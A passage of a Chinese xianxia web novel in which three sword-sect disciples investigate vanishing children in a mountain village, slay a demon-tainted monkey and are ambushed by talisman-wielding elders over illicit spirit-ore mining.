重新佩好剑,她转头看向宋清疏:“我此番归来,正准备去找你。”
“我?”他略感意外。
她点点头,声线平缓:“通淳道人传信告知我,五宗对战之期将至,剑宗打算派我出战,是以我才提前回来。不过……我很好奇,历来都是三人组队,你肯定算一位,所以第三人……有人选了?”
五宗对战十年一次,允许各宗派出一至三组由三名弟子构成的小队。前几届由于剑宗找不到合适人选,又不愿屈居人下,都没有参与。这次既然将她仓促召回,想必是势在必得。
宋清疏若有所思,转头看向李长缨:“若我没猜错,应当非李师妹莫属……她如今也住在甲字院。”
身为剑宗弟子,住进甲字院代表什么,不言而喻。
没有计较李长缨入门时间太短合不合适,鹿眠恍然:“原来如此,你可试过她的身手?”
宋清疏温声道:“金丹初期,身手敏捷,剑法迅猛,还会很多我不知道的招式。”
听见自己的修为就这般被他人宣之于口,李长缨眉头一皱,有些不适。
转念一想,二人只是在公事公办地讨论参加五宗对战的事,直截了当也是应该的。
强压下心头怪异感,她继续静静听着。
鹿眠从怀中取出一卷竹简,竹简自发飘到半空中,徐徐展开:“这是历年五宗对战的记录。比试分三轮,第一轮进入试炼塔,针对各道修士有不同考核,如剑修破剑阵,丹修在限时内炼出指定丹药。按通关快慢和完成度排名,总排名前十的队伍进入下一轮。”
“第二轮是擂台赛,允许十支队伍自行合并,再抽签决定两两对战,轮空的那组直接进入下一轮。需根据对手流派灵活搭配阵容,但这要考虑到哪些宗门和我们交好……以及他们的实力。”
“第三轮便是秘境夺宝,最盛大,最引人注目。胜出的六支队伍进入其中自由探索,秘境内含上古传承,有失传剑谱、稀缺灵药,和最吸引人的大奖——一把天阶武器……不过需要提防其他队伍的抢夺和陷害。获得的资源在出口登记,最终按资源总价值计分。”
听完,李长缨目瞪口呆。
本以为五宗对战不过是学宫内部的一场大型比试,顶天了将弟子们都投放到秘境里去厮杀,想不到规模如此之大、规则如此之多,灵音学宫的盛况可见一斑。
鹿眠却误以为她在担忧能否过关,抿了抿唇,试图安慰她,可面无表情的样子让人感觉不到丝毫慰藉。
“前两轮不必担忧,凭你我的实力不在话下……只有第三轮有些风险,”她眉头轻蹙,“据记录显示,秘境中有原住民存在,与其交谈能得到宝物线索。而这搜集线索的能力,恰恰是我所欠缺的,且据我了解,宋师弟也不算在行。”
她说得诚恳,剖析起自身短板来毫不心软。
宋清疏乖巧点头。
这个我知道……
李长缨在心中道,剑修向来杀伐果断,能用剑斩之,绝不多费口舌。
落在旁人眼里,便是四肢发达、头脑简单。
“所以,”鹿眠话锋一转,“我在回来的路上思虑良久,决定让我们三人下山历练一番,迅速提高这部分能力。”
从袖中抽出两副卷轴,分给李长缨和宋清疏,她一板一眼道:“我特意在通淳道人那里领了个任务,大体是妖兽作祟,地点在离学宫不远的一座村庄。收拾一番,明日卯时出发?”
虽是问句,但显然没给他们二人拒绝的机会。
按照惯例,弟子想下山历练,只需去执法堂应师兄处领取任务即可,但考虑到他们一行人修为较高,寻常任务达不到历练的效果,她索性直接去找的总教习通淳道人。
正因如此,他们此番面临的任务,定然难度较大,更为棘手。
李长缨打开卷轴一看——
“月塘村,妖祸生。”
…………
转眼,戌时已至,李长缨照例赶到膳堂。
晚膳时分,偌大的厅堂里人头攒动,各宗弟子三五成群混坐一
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处,谈笑声和碗筷碰撞声此起彼伏。
她刚在角落寻了个位置坐下,眼前便多了碗冒着热气的杂粮粥。
奚不言不知何时已经坐在对面,正从食盒往外取菜。
“听说你们要下山?”他推来一碟清炒时蔬,嗓音清润。
李长缨点头,疑道:“你如何知晓?”
垂下眼帘,他遮住眸子里复杂的神色:“剑宗鹿大师姐归宗的消息,早已传遍学宫,她的一举一动都有人关注,我知道……不奇怪。”
奚不言轻叹一声,嘴唇抿成条直线。
不对劲。
在她面前,他向来带着浅淡笑意,除非她受了伤……李长缨心虚了一瞬,与严教习过招时她负伤的事,应当没传进他耳朵吧?
那他为何看起来闷闷不乐?
盯着他看了半晌,她若有所悟:“你是不是因为我擅自答应和其他人下山,不高兴了?”
“不是。”奚不言矢口否认。
犹豫片刻,他还是忍不住开口,神情凝重:“……但我不得不想提醒你,我们现在是在秘境,不是真正的学宫。所以请不要因五宗对战之类的事,忘记了真正的目的。”
“怎么可能?一日也不敢忘好吧……”李长缨眯起眼,谴责对方质疑她的良苦用心,“你且放宽心,关于这个秘境的主人是谁,我大概有些猜测了。”
“当真?”奚不言闻言并不惊讶,慢条斯理地给她舀了碗豆腐羹。
她郑重点头:“千真万确,不过我有待核实,你等我好消息吧。”
“尝尝?”他舀了勺羹递到她嘴边,“我加了些药材进去,对你的身体恢复有益。”
李长缨下意识张嘴,随即瞪大眼睛:“你下毒?”
上次那锅又苦又涩的玩意,她至今难忘。
“云苓片、雪莲子,外加一钱青禾须,”奚不言晃了晃勺子,无奈道,“对稳固神魂有益。”
她含糊道:“味道不错。”
“那是自然,”他抿嘴一笑,“你还不相信我的手艺?”
李长缨:……
对此她深表怀疑。
“今晚我得早些回去,明早出发,得准备些药丹……”
想起明天的行程,她匆匆起身,收拾着碗筷。
一把按住她手腕,他不慌不忙地从腰间取下一个芥子囊,递给她:“猜到你要下山,早就准备好啦,打开看看吧。”
“这不好吧……用了你这么多药丹了。”李长缨义正言辞地拒绝。
“坐下,”一把按下她,奚不言轻笑,“别装了,你故意在我面前提药丹,不就是想暗示我么?”
被拆穿了。
李长缨也不恼,大咧咧地坐下,扬了扬眉:“既然你执意要送我,我便却之不恭了。”
笑眯眯地托腮看她,奚不言指尖点了点桌面:“快打开看看,若是有不够的,告诉我,我也好及时添上。”
她打开芥子囊,随手一抓,抓出大把瓶瓶罐罐——
什么闭气丹、清心丸、回气散……还有最珍贵的爆灵丹,以及一颗有价无市的起死回生丹。
沉甸甸一堆摆在小桌上,李长缨忽觉就此改行卖药……似乎也不错?
光是爆灵丹和起死回生丹,便能保她这辈子衣食无忧。
那盒从白绮罗处领来的起死回生丹,自船上那夜后,便被她塞给了奚不言代为保管。
说来这保命的东西她还没细瞧过。
拾起丹丸,她正欲细细察看,奚不言按住她手背,严肃道:“这玩意你别随便吃,是药三分毒,不到万不得已慎用。”
“好啦,我又不是三岁稚子,”安抚地拍拍他肩膀,李长缨乐滋滋地收起芥子囊,伸了个懒腰。
万事俱备,只待明日。
不知此行下山历练,又会带给她怎样的机遇?
29. 下山
月塘村。
老妇躺在摇椅上,手里握着蒲扇,低低呼唤着——
“阿宝,别扒着窗子看了。”
少年跪在竹凳上,鼻尖抵着窗纸,语气委屈:“可是奶奶,小灰它……已经三天没吃东西了,它本就争不过其他猴子,我再不去送点吃的,它怎么挨得过……”
阿宝盯着远处黑黢黢的山影,老松树的轮廓隐没在晨雾中。
“啪。”
蒲扇落在地上,奶奶突然剧烈咳嗽起来,本就佝偻的脊背更是蜷成一团。他连忙跳下凳子,给奶奶拍背,却被老人枯瘦的手攥住腕子。
“听好了,”她猛咳几下,声音陡然严厉起来,嗓音嘶哑,“最近不太平,你没看见村里人家接二连三出事?有条件的都搬走啦,可怜我们祖孙俩,无处可去……你不要再想着往山里去,听到没有?!”
“可小灰认识我的哨声,”阿宝摸出个泥捏的哨子,是去年庙会上他从一个外地小贩手上买来的,“我就到溪边……”
“不许!”老人突然尖声大喊,似是想起不好的回忆,满脸痛色,身体颤抖不止,“你爹当年也是这般犟!非要去山里劈柴!这下好了,把自己命都搭进去了!”
“栖灵山地龙翻身的事儿还少吗?一个二个都这么不听话!”
被老妇癫狂的模样吓住,少年瑟缩了下,嚅嗫道:“奶奶别气,我不去就是了……”
脸上狰狞面容一扫而空,她转而欣慰地笑起来,抚摸着他由于营养不良而枯黄的头发,一下一下。
“阿宝乖……等这段日子过了,你再上去,成吗?村长已经向那些会仙术的人写信了,很快就会过去的……”
似在安慰他,又似在安慰自己,老妇轻声哼着,声音渐渐低了下去。
她睡着了。
…………
晨雾未散,李长缨三人站在村口古槐下。
这村子依山而建,几十户人家的屋舍错落分布在山坳里,清晨本该是炊烟袅袅的时刻,却只见零星几户冒起了炊烟,几个村民走在乡间小道上,个个面色惶恐。
鹿眠从袖中取出介绍得更详细的卷轴,递给二人。
卷轴上寥寥数语:
【月塘村报,震后山中疑大妖现世,掳童六人。此行须探明原因,降伏妖物,以平祸患。】
宋清疏凑过来:“大妖?幸好我带了寻妖罗盘……”
说着,他取出一块巴掌大小的铜质罗盘,中央一根墨玉指针悬于其上,指向初始线,未有丝毫偏差。
他眉头皱了起来:“奇怪,已经到了月塘村地界,罗盘怎么依然没有反应?”
若真是大妖,浓郁的妖气定会波及处在山下的月塘村,没道理让寻妖罗盘感应不到。
而他手上的这块,品质上乘,三阶及以下妖兽的妖气皆可识别出。
是以罗盘没有反应,只可能有两个原因:
要么,是妖兽品阶不高,妖气稀薄,对月塘村影响太小,可忽略不计;要么,是妖兽的实力远在他们之上,寻妖罗盘识别不出。
鹿眠淡淡道:“先进村子,看了便知。”
几人迈步进入月塘村。
“仙长!”
一个驼背老妇拄着拐杖,小跑着迎上来:“我是月塘村村长刘茂兰,可算把您几位盼来了!”
鹿眠颔首:“说说情况。”
“自打上月地龙翻身,后山就出了怪物,”刘茂兰引着他们往村里走,“头先是牲口失踪,后来……”她声音发颤:“王家的丫头、刘家的两个孩儿,还有……”
月塘村不大,村民多以王、刘二姓为主,两家世代杂居,亲如一家。
路过一间破败的茅草房时,突然冲出个披头散发的妇人,一把抓住李长缨衣袖,“扑通”一声跪下,声泪俱下:“仙长!我闺女才七岁啊,她、她前几日还叫我给她做新衣裳,怎么一转眼,人就不见了呢?”
鹿眠抽出佩剑,剑鞘轻点,妇人吃痛松开手。
看着她乌黑深重的眼下淤青、干裂起皮的嘴唇,恐怕这几日太过担心孩子,茶饭不思、忧劳成疾。李长缨抿了抿唇,从怀中取出个瓷瓶:“安神的药,您拿着吧……”
刘茂兰赶忙上前安抚妇人:“王家婶子,我知道你担心,仙长这不是来了嘛,你闺女很快就可以回来了……”
闻言,众人脸上无一不是凝重之色。
他们都清楚,在这个节骨眼上失踪,怕是凶多吉少。七岁幼女离奇失踪,几日未归,活着的可能性极低。
“先看现场。”鹿眠打断她。
刘茂兰带着他们来到村北边最后一家。
土墙塌了半边,院里晒的玉米散落一地,几只鸡挺着饱满的胸膛,在院中闲庭信步。
“这是最后一户丢孩子的人家,”她指着窗棂,“两日前,半夜三更,刘家媳妇阿桂听见动静起来,就看见个黑影从窗口窜出去……”
李长缨蹲下一看,窗台积着层薄灰,上面确实有几道划痕,像某种锐利的兽爪所留。
“怪事,”宋清疏掏出罗盘,“竟真没有妖气?”
罗盘指针纹丝不动,寻常妖物纵使道行再深,留下的爪痕也该有一丝气息残留。
莫非作祟的不是妖,另有他者。
李长缨望向不远处的山林,那里雾气缭绕,隐约可见几处地裂的痕迹。
“上山看看。”鹿眠不多停留,转身欲走。
刘茂兰却停在原地,面露纠结:“……不瞒几位仙长,栖灵山地势崎岖,树长得格外多,贸然进去,恐怕会迷路?”
正说着,她抬头悄悄打量几人神色,见鹿眠面无表情,心中懊悔地给了自己几个嘴巴子,怪自己多虑。
仙长会仙术,怎可能像她这种凡人一样迷路呢?
李长缨几人对视一眼,倒觉得她说得在理。
没有弄清楚山中作祟的究竟是何物,就算是他们这样的修士,也不敢冒冒失失进山。
鹿眠直言:“有没有认路的,带来。”
刘茂兰犯了难:“有是有……村里樵夫哪个会不认路,就是……”她说话吞吞吐吐:“如今山里有吃人的怪物这事儿,早就传遍了村子,能跑的早跑了,留下来的都是些像我一样的老弱妇孺,让他们进山……似乎不太行?”
是个问题。
几人陷入沉思。
她恭敬道:“仙长今日不如先在村子里转转?我也好给几位仙长讲讲栖灵山的情况……”
如今只能这样办,说不定能从村子里的旧事中找到点线索。
鹿眠欣然应允。
再次路过王家婶子的院落时,里头传来大喊大叫的声响,伴随着碗碟落地碎裂的动静,刘茂兰一愣,复又带着歉意对他们解释:“看来王家婶子又犯病了……唉,这丫头自从闺女不见了之后,人就变得疯疯癫癫的了。”
女人的尖叫声和猛烈的拍击声,透过窗纸传进一行人耳朵。
略带不安地瞥了眼窗户,她欠了欠身:“几位仙长,我得去安抚一下她,先失陪了。”
没了村长带路,几人漫无目的地在月塘村闲逛。
正如刘茂兰所言,村子里的壮丁都跑光了,仅有的几家要么是丢了孩子,要么是就剩祖孙俩相依为命,不想搬,或者说不能搬。
烈日当空,三人沿着村中土路缓行。
家家门户紧闭,偶尔可见被遗弃的看门黄狗,缩在阴凉处蔫头耷脑。李长缨抹了把额间细汗,握紧剑柄。
这村子静得诡异,连蝉鸣都听不见一声。
他们必须再找些有效的线索,向村民打听无疑是最直接的办法。
用神识确认过某间茅屋里有人后,宋清疏叩响一扇斑驳的木门,温声道:“有人吗?讨碗水喝。”
木门“吱呀”一声错开些许,门缝里露出半张蜡黄的脸。妇人目光在三人脸上打了个转,哑声道:
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“村东头有井。”
“大娘行个方便,”李长缨从袖中取出一枚铜钱,“我们是从……”
动作间,腰间佩剑暴露出来,点点星光闪烁,一看便知属于仙门。
“仙长?!”妇人猛地拉开门,“快、快请进。”
堂屋阴凉,弥漫着一股腐朽的霉味。
她用豁口的陶碗舀来井水,李长缨接过碗时,注意到她指甲缝里嵌着些蓝色粉末。
“村里人这么少?”宋清疏环顾四周,墙角堆着的矿镐已经生锈。
“走的走,死的死,”妇人叹了口气,“自打灵矿枯竭,这村子就遭了报应。”
鹿眠蓦地严肃起来:“灵矿?”
这是村长刘茂兰未曾告诉过他们的,不知是对方无心之失,还是有意隐瞒。
“三五年前的事了,”妇人用围裙擦着手,“有次地龙翻身过后,栖灵山突然冒出很多蓝色石头,村长说是叫什么‘晶蓝灵矿’……说那些修仙的最缺这个嘞。”
晶蓝灵矿,制作灵石的主要原料。
她口中不停,唾沫横飞:“全村老少都去挖,最旺那年,来了几个自称是仙门的人,哎哟那可不得了,踩着剑在天上飞呢。”
仙门?
此地归属灵音学宫管辖,鹿眠自觉身为剑宗大师姐,从未听说过这件事。
学宫地界断不能让旁宗插手,她倏地警觉。
远处忽地传来一阵闷响,像是山体滑坡。妇人突然噤声,惊恐地望向栖灵山所在之处。
“后来呢?”鹿眠冷着张脸,强行拉回她的注意力。
扭回头,她抠着指甲:“矿洞越挖越深……后来就没了,一块矿石都没了。”
“山上就剩些大坑,不是我说,这几年地龙翻身太频繁了点,好多人都说是因为挖灵矿惹怒了山神,山神在报复我们。”
关于山神的传说,李长缨他们自然是不信的。
就算有,估计也是哪个妖怪跑到这里占山为王。
“咚咚咚。”
木门再次被敲响,几人警惕地看向门口方向。
刘茂兰探出头,颤颤巍巍道:“几位仙长,我看时辰不早了,要不要来我家中用晚饭?”
跟着村长七拐八拐,李长缨一行人来到她家里。
身为金丹修士,三人本不用进食,但他们打算跟她核实一下灵矿的事。
当年参与挖灵矿的仙门来自何方、灵矿与山中邪祟有无关系,都得问清楚。
堂屋的八仙桌上,摆好了一碟腊肉炒笋、半盆野菜糊糊,和几碗糙米饭。
这已是没落山村能拿出的最好招待。
“仙长们今夜就歇在西厢房吧,被褥都是新晒的。”刘茂兰讨好地笑道。
鹿眠的手指在桌上点了点,宋清疏会意:“叨扰了。”
西厢房比想象中干净,三张竹榻上铺着靛蓝粗布被褥。
宋清疏从袖中抖出四张符纸,分别贴在房间东南西北四角:“隔音的。”
盘坐在榻上,鹿眠指尖轻抚剑鞘,平静道:“方才的饭菜里下了大剂量的蒙汗药,若是凡人遇上,会直接昏睡三天。”
三人自然不会乖乖吃下。用了张简单的混淆符,就让刘茂兰误以为他们在正常进食,实则他们滴水未进。
“她想干什么?难不成打算……趁这三天把山上的坑都填了?”李长缨不解。
也不知对方是低估了修士的五感,还是高估了自己的能力。
“今晚我们先按兵不动,见机行事。”鹿眠简洁道。
熄了烛火,三人默契地躺下假寐。
子时刚过,窗外传来“沙沙”声,像是有人拖着脚步走过碎石路。
“咚。”
极轻的一声叩响,微不可闻。
李长缨缓缓坐起身,怀疑自己是不是幻听了。
似乎有人在敲窗户?又似乎没有……
“咚咚。”
30. 邪物
“咚、咚咚”
窗户第三次被叩响,李长缨已经悄然按住了剑柄。
月光将窗外的人影拉得细长,但看那瘦小的轮廓,分明是个半大孩子。
“仙长……”压得极低的少年嗓音带着几分颤抖,从窗缝钻进来,“求您开开窗……”
与鹿眠交换了个眼神,李长缨摸到窗边,指尖夹着张照明符。
老旧的木窗“吱呀”一声,被推开半尺。
墙根处缩着个少年,一只手扒在窗台上。看着不过十二三岁,脖颈细得仿佛一折就断,身上洗得发白的粗布短褐空荡荡罩在身上,赤着的脚背上有几道新鲜的血痕。
他低着头,额前枯黄的头发遮住了大半张脸,只露出尖尖的下巴和抿得发白的唇。
听见动静,他抬了抬眼,那双眼倒是亮,充满希冀。
“仙长!你们在这里,太好了……”他小声欢呼,“我叫阿宝,住在村东头。”
少年急切地开口:“我想请求你们上山看看,我的朋友小灰还在上面。”
“朋友?”宋清疏皱眉,心道失踪的六人中没有叫小灰的。
“小灰是只猴子……”阿宝不好意思地摸摸头,“但它很通人性的!这几天奶奶不让我上山,我没法去给它喂吃的,它会饿死的……”
说到最后,他语气染上几分急迫。
“栖灵山不能去,”鹿眠一脸淡然,“你家大人没告诉你山上有怪物?”
少年哽住,用脏兮兮的袖子抹了把脸,唯唯诺诺道:“……我知道的,但是小灰不能没有我……仙长,你们不是来除妖的吗?你们肯定要上山的吧?!”
几人对视一眼,点了点头。
他眼睛亮起来:“我熟悉山路!我打六岁起就跟着小灰满山跑,连矿洞里的岔道都认得!我、我可以给你们带路!”
鹿眠反问:“你怎知我们需要向导?”
“原来不需要吗……”阿宝开始怀疑自己,不确定道,“我不知道……但是外乡人上山,都要找我们月塘村村民带路的,我猜你们会需要……”
“行了,带路,”鹿眠佩好凰音剑,“但必须听令行事。”
从袖中抓出一枚护体符,宋清疏干脆利落地贴在少年后背。
此行危机重重,他们必须确保身为凡人的阿宝安全。
一行人悄悄离开村长家,鹿眠掏出几张纸人放在厢房内。
在修士眼中,这只是几张剪得过分粗糙甚至有些滑稽的纸符人,但落在刘茂兰眼里,便是三人仍在酣眠,仿佛从未离开。
…………
栖灵山植被茂密,山道越走越窄,到后来几乎看不见路径。
地龙翻身造成的裂缝横亘在林间,最宽处足有丈余。
释放出一缕神识探进去,宋清疏一脸凝重:“深不见底。”
李长缨突然驻足。
前方枯树下,半截红绳挂在枝头,随风轻晃。
“是村里孩子戴的平安绳,”她取下红绳,上面沾着一点血迹,“看来邪祟在这里活动过。”
“小灰?”阿宝跟在他们身后,轻声呼唤,声音在幽静的山谷中荡出回音。
没有熟悉的“吱吱”回应,只有风穿过草丛的呜咽。
他攥紧手里的竹篮,里面放着偷拿出来带给小灰的玉米:“再往里走,便是矿洞遍布的区域了,各位仙长要小心脚下……”
余光里突然瞥见,草丛里闪过一抹灰影,他惊喜地上前几步:“小灰,等急了吧——”
话卡在喉咙里。
那确实是一只猴子,但只剩上半截身子挂在树藤上,灰毛沾血凝成硬块,断口处的骨头森白骇人。
竹篮“啪”地掉在地上,玉米骨碌碌滚出来,阿宝猛退两步,一眨不眨地盯着它,声音被吓得变了个调:“仙长,救、救命——”
三人迅速上前。
鹿眠用剑尖挑起猴子的尸体:“这就是小灰?”
“不是,”阿宝拼命摇头,“这只猴子我认识,是山中猴子的老大,平日属它欺负小灰最多,可它怎么……”
若是最厉害的猴子都遭此一难,那小灰……还能平安吗?
不远处传来窸窸窣窣的声音。
宋清疏长剑出鞘,霜白剑锋直指左前侧山壁。
那里爬满藤蔓,乍看毫无异样,细看却能感受到,一根根藤蔓往里凹陷了些许。
放出神识细细感受一番,他眉头紧锁:“里面有东西。”
李长缨从袖中取出一张火符,符纸无风自动,“咻”的一声飞过去贴在藤蔓上,自发燃烧起来,藤蔓寸寸熔断,露出后面黑黢黢的洞口。
“你守在这里,不要乱走。”鹿眠转头对阿宝迅速交代,抬手施了个结界。
“可小灰……”
“我们会把它带回来,”打断他,她长剑指地,冷冷道,“走吧。”
宋清疏举着照明符走在最前方,越往里走,空气中的血腥味越浓,混着某种腐肉的腥臭,熏得人眼睛发涩。符纸照不到的黑暗里,不时传来碎石滚落的声响。
三人停在一处岔道口,岩壁上留着几道新鲜的爪痕。
李长缨并指点向眉心,开启神识。
眼前的黑暗如水波般荡漾,逐渐褪去色彩,化作深浅不一的黑白世界。
岩壁呈现半透明的质地,纵横交错的爪痕上萦绕着紫黑色薄雾。
神识继续向前延伸,路过第三个岔道时,她“看”到了蜷缩在岩缝中的巨大阴影。
那团暗影比周围的黑雾浓郁数倍,观其轮廓,依稀可见是只佝偻的猴子,脖颈处带着一枚平安扣,发出微弱的红光,与缠绕周身的黑雾激烈对抗着。
霎时,她呼吸一滞。
这猴子身上的黑雾,她再熟悉不过,俨然是魔气。
山中怪物原来是只被魔气污染的猴子,难怪寻妖罗盘没有反应。
毕竟寻妖罗盘,顾名思义,寻的是妖,不是魔。
脑海中有什么一闪而过,她隐隐觉得不对,却无暇再想。
只因——
那魔猴猛地抬头,浑浊泛红的眼睛竟穿透神识直视而来。
李长缨只觉眉心一痛,神识如潮水般褪去。最后看到的画面,是魔猴利爪抠进岩壁,正以不可思议的速度朝他们爬来。
“来了,”她猛地睁开眼,星澜剑出鞘,“还有三十丈。”
几乎同时,洞顶传来碎石滚落声。
一双泛着红光的眼睛,在黑暗深处亮起。
“退后。”
鹿眠拔剑出鞘,凰音剑剑光一闪,倏地燃起熊熊灵火,照亮前方黑暗。
令人牙酸的抓挠声自头顶岩缝传来,宋清疏的照明符往上一照,对上一双黑雾翻涌的红眼。
魔猴倒挂在洞顶,体型是寻常山猴的三倍不止。灰白毛发根根直立,丝丝魔气在毛发间游动。眼眶深陷,犹如两个黑洞,一双瞳孔已缩成针尖大小,眼白完全被浓厚的血雾占据。
半旧的平安扣颤颤巍巍挂在颈间,红绳深深勒进膨胀的皮肉。它那龇出的獠牙上满是粘稠唾液,滴在地上能腐蚀出一个小坑。
“这是什么怪物?!”
纵使淡定如鹿眠,也不由得轻呼出声。
李长缨心下生疑。
被魔气污染的动物并不少见,鹿眠身为剑宗大师姐,理应见多识广,怎会不识?
不对劲。
她蓦地想起为何方才隐隐觉得不对。
照后世记载,魔域横行的魔气源自魔渊——上古魔神战败后被镇压之地。
传闻魔神被镇压后,剑仙为避免祂东山再起,把祂锁入魔渊。再通过某种神器,将其体内的力量传递出来,即今天所说的西大陆源源不断的魔气。
当然,这些包含“魔”的称呼,都是后人赋予的。
随着魔修愈多,魔神受到的蚕食分化也愈多,实力进一步衰退。
剑仙此举,算是绝了祂再起的可能。
而这一切发生的前提,是剑仙与魔神对战,魔神战败。
换句话说,没有魔神,
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便没有第一缕肆虐在西大陆的魔气。
可剑仙本人正在她眼前,显然,鹿眠离飞升还挺远,更遑论魔神出世。
既无魔神,何来魔气?
这不是本末倒置吗?
还是说,魔气并非来自魔神?
李长缨心中惊疑不定,隐约觉得自己似乎抓到了问题关键,但她来不及细想。
魔猴抢先扑下,利爪带起的腥风瞬间将照明符拦腰斩断。
一切陷入黑暗。
她当机立断并起左手二指,灵力聚在指尖形成一小团灵光。借着模糊光晕,看清魔猴正迎面向她扑来。
“铮——”
星澜剑出鞘,莹白剑光如月华泄地,堪堪架住它的利爪。她只觉手臂巨震,虎口一阵酥麻。
这魔猴的蛮力竟如此骇人!
她足尖一点,借势后掠丈余,长剑在半空挽了个剑花,绞碎它血盆大口吐出的黑雾。
魔猴见状,嘶吼一声,长尾如钢鞭横扫而来。山石迸裂,几块落石刚好封住她的去路。
不好!
咬咬牙,李长缨不退反进,身形在鞭影中穿梭,正欲伺机一刺——
魔猴忽地回身,猛烈捶打胸膛,周身黑气暴涨,幻化出无数只小猴子虚影,朝她狂涌而来。
速度之快、距离之近,避无可避。
她下意识闭上眼,举剑格挡。
下一瞬,熟悉的金色剑光破空而来。
鹿眠站在不远处,眸色一凛,口中念念有词,剑身陡然亮起璀璨符文。
清冷女声喝道:“剑出,破妄!”
轰然一声,金色巨剑虚影从天而降,以泰山压顶之势,将所有猴子虚影碾为齑粉。
趁魔猴被剑气震得后退的瞬间,宋清疏咬破指尖,迅速在虚空画出血色符文。
“天地玄黄剑阵!”
数道剑光应势而起,上千把灵剑虚影错综交杂,飞速旋转,将魔猴团团围住,逼至角落。
李长缨看准时机,飞身而上,星澜剑如皎月凌空,直直刺向它未及防御的脖颈。
与此同时,鹿眠催动凰音剑,剑光大盛,织成金色罗网。
“收!”
宋清疏剑指一并,罗网骤然收缩,一把把长剑没柄而入,魔猴庞大的身躯骤僵,眼中红光迅速黯淡。
不出片刻,它轰然倒地,化作一缕黑烟消散。
唯余一枚半旧的平安扣“当啷”坠地。
矿洞重新恢复寂静。
鹿眠用剑尖挑起一缕黑气残余:“这是……?”
“不是灵气,也不是妖气,”宋清疏沉吟,“莫非是某种未被发现的浊气?”
盯着那缕熟悉的魔气,李长缨咬咬唇,不敢言语,心中却掀起惊涛骇浪。
正如自己之前猜测的那般,魔气在剑仙飞升前,已经出现了。
可是这几千年的历史一致认为,魔神降世,带来了世间第一缕魔气。
难道史书所记载的,是假的?
“回去禀告通淳道人,”鹿眠收剑归鞘,一脸严肃,“今日之事暂且作罢,这不是你我能应对得了的。”
宋清疏挑起那枚平安扣,将其收入芥子囊。
几人虽未明言,但彼此心照不宣地认为——
方才斩杀的魔猴,恐怕就是阿宝心心念念的“小灰”。
走出洞穴,天边已泛起鱼肚白。
洞外空荡荡一片,留给少年的保护结界已然被暴力破开,里面空无一人。
“阿宝?”宋清疏略微扬声,手指按住剑柄。
“嗖!”
破空声来得毫无征兆,三张黄符斜刺里朝他们射来,袭向三人后心。
李长缨急喝:“当心!”
身体比大脑更快一步,她旋身挥剑,截住符纸去势。
“小家伙,身手不错……”
前方山林中,走出几位须发皆白的修士。
为首的那人捋须笑道:“你们发现了栖灵山的秘密,恕老夫无法留你们一命。”
31. 黄雀
话音未落,为首之人手持紫毫符笔,凌空画出一大片金色符文。
瞬间,符文结成牢笼,将李长缨三人困在其中。
李长缨握紧剑柄,怒道:“来者何人?”
虽是问句,她心中却也有了些猜测。
观几人衣着举止,皆为修真人士,不惜冒着被学宫察觉的风险,执意要在此地灭口,怕是因为他们知道了什么见不得人的事情。而这些秘密一旦被曝光,这几人会引来杀身之祸。
魔猴?还是灵矿?
宋清疏悄悄靠近她,低声道:“看他们衣饰,应当是凌云宗的人。”
凌云宗??
她呼吸一滞,张了张嘴,却没有发出声来。
这个名字并不陌生,曾屡次出现在天极宗入门课本里,为新弟子们必须记住的内容。
正是八大宗门之一,以符修为主的九华宗的前身。
难怪这几人手中皆持有一杆符笔,攻击方式也是符阵……李长缨在心中暗忖。
懒懒地扫了他们一眼,鹿眠不愿多费口舌,剑尖轻挑,凰音剑气径直射向符牢,却如泥牛入海,符牢荡漾一瞬,恢复如初。
居然会有鹿师姐对付不了的符阵?!
李长缨愕然,敏锐注意到她握剑的手指有些颤抖,似是受伤所致……不对,不是手指,而是凰音剑本剑。
剑身轻颤,金色剑刃不知何时蒙上了一层蛛网纹路,不细看难以察觉。
“别白费力气了,”为首的符修冷笑着,“这锁灵符阵专克你们剑修……”
想不到凌云宗的人是这般做派……她满眼震惊。
九华宗在当世八大宗门中的地位靠后,素来安安静静、与世无争。
早些时候反倒如此张狂?
这算什么……物极必反吗?
她试图周旋:“我们与诸位素昧平生,诸位何必痛下杀手?”
“素昧平生?”
听到她的话,几人哈哈大笑起来。
“小家伙,你少在那装不懂,”符修毫不客气道,“你们几个身为灵音学宫的人,发现我们凌云宗偷挖你们辖地的灵矿,会坐视不管?”
“与其坐以待毙,等你们的人打上门来,不如先下手为强!”他顿了顿,阴恻恻道,“反正只有死人……才不会出卖秘密。”
那可不一定,死人也可用搜魂之法对付……李长缨不合时宜地想到。
她不动声色地打量来人,发现对方须发皆白,手背脸颊皆生出暗斑,心中顿时冒出个大胆的猜测。
莫不是大限将至、天人五衰,才这般急切地想立功,以换取续命法宝?
众所周知,修士境界不同,寿元也不同。修为越高,寿元自然越长。
而寿命将尽时,若迟迟不能突破,便会面临天人五衰,即衣服垢秽、头上华萎、腋下流汗、身体臭秽、不乐本座这五种异象。
虽然修士进入炼气期后,可以自行选择驻颜。理论上讲,驻颜在晚年也未尝不可,但绝大多数人还是会选择保持在青壮年时期,那时的身体最为强悍。
这几个老者想必不是那极少数人。
与李长缨不同,鹿眠心中只有一个想法:原来偷挖灵矿的,是你们。
她目光骤沉,按住剑柄,指尖攥得发白。
注意到她的动作,为首的符修挑了挑眉,一脸得意:“哎哟,你这小家伙就等不及了?”
他话锋一转,眼中狠厉之色转瞬即逝:“也好,这便送你们归西!”
说罢,他提笔在半空中洋洋洒洒写出一个符阵,随着每一次落笔,符阵的红光便耀眼一分。
最后一笔落下,红光大盛,杀阵已成。
层层叠叠的符箓笼罩三人,缓缓压下。
宋清疏眸光一闪,语气急促:“你们凌云宗好大的胆子,敢在灵音学宫的地界杀人夺矿?”
“杀人?”符修呵呵笑着,“今夜过后,便是你们三个贪图灵矿,害了六个无辜小儿的性命!”
他如恶魔低语:“放心……等你们上路,我定会去向灵音学宫禀明你们的罪状。”
李长缨以剑撑地,眼中杀意迸发:“好个栽赃嫁祸,可惜……”
“可惜什么?”
“可惜你们看走了眼。”
这老者写的符阵虽强,但难逃所有符阵的共性:都有一处最薄弱的阵眼。
只要破了阵眼,杀阵不攻自破。
她双目微阖,眉心隐有微光流转。神识向前探去,一寸寸搜查红光翻涌的符文脉络。
那些闪烁的暗红符文看似杂乱无章,实则循着某种特定规律交织,每一次波动都牵动着杀阵的威力。
沉心细辨,于万千紊乱的气息中,她捕捉到一丝极细微的凝滞。
“找到了。”
心念微动的刹那,星澜剑起,一道清越剑鸣撕裂长空。
“破!”
一字既出,剑光暴涨,长剑化作流虹,直直刺向阵眼所在。
霎时,符牢猛烈晃动,逐渐裂开寸寸裂纹。
